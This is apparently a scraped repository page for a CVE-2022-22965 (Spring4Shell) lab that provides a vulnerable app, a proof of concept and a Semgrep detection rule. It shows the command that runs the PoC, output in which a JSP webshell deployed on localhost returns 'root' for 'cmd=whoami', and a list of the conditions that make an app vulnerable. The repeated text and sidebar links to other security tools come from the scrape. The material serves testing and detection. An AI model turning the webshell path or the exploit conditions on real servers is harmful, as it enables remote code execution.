CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

DependConfusion-X Tool is written in Python3 that scans and monitors list of hosts for Dependency Confusion

💣 Bomb Crypto Bot 💣

IDA scripts for hypervisor (Hyper-v) analysis and reverse engineering automation

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

This repo is about steps to create a effective custom wordlist in a few clicks/

Better-rtti-parser - IDA script to parse RTTI information in executable

A small Python Script To get all levels of subdomains from a list

log4j-tools: CVE-2021-44228 poses a serious threat to a wide range of Java-based applications

AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

A small utility to deal with malware embedded hashes.

IP Denial of Service Vulnerability ")A proof of concept for CVE-2021-24086 ("Windows TCP/IP Denial of Service Vulnerability ")

A Python application to predict what is cooking

An IDA pro python script to decrypt Qbot malware string

A fast sub domain brute tool for pentesters

Provides script to download and format public IP lists related to the Log4j exploit.

Sample exploits for Zephyr CVE-2021-3625

A tool to crack a wifi password with a help of wordlist

This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version.

This is a Crypto asset tracker that I built to aid my personal journey in cryptocurrencies.

A dynamic multi-STL, multi-process OpenSCAD build system with autoplating support

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

DependConfusion-X Tool is written in Python3 that scans and monitors list of hosts for Dependency Confusion

💣 Bomb Crypto Bot 💣

IDA scripts for hypervisor (Hyper-v) analysis and reverse engineering automation

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

This repo is about steps to create a effective custom wordlist in a few clicks/

Better-rtti-parser - IDA script to parse RTTI information in executable

A small Python Script To get all levels of subdomains from a list

log4j-tools: CVE-2021-44228 poses a serious threat to a wide range of Java-based applications

AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

A small utility to deal with malware embedded hashes.

IP Denial of Service Vulnerability ")A proof of concept for CVE-2021-24086 ("Windows TCP/IP Denial of Service Vulnerability ")

A Python application to predict what is cooking

An IDA pro python script to decrypt Qbot malware string

A fast sub domain brute tool for pentesters

Provides script to download and format public IP lists related to the Log4j exploit.

Sample exploits for Zephyr CVE-2021-3625

A tool to crack a wifi password with a help of wordlist

This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version.

This is a Crypto asset tracker that I built to aid my personal journey in cryptocurrencies.

A dynamic multi-STL, multi-process OpenSCAD build system with autoplating support

Vulnerable app requirements¹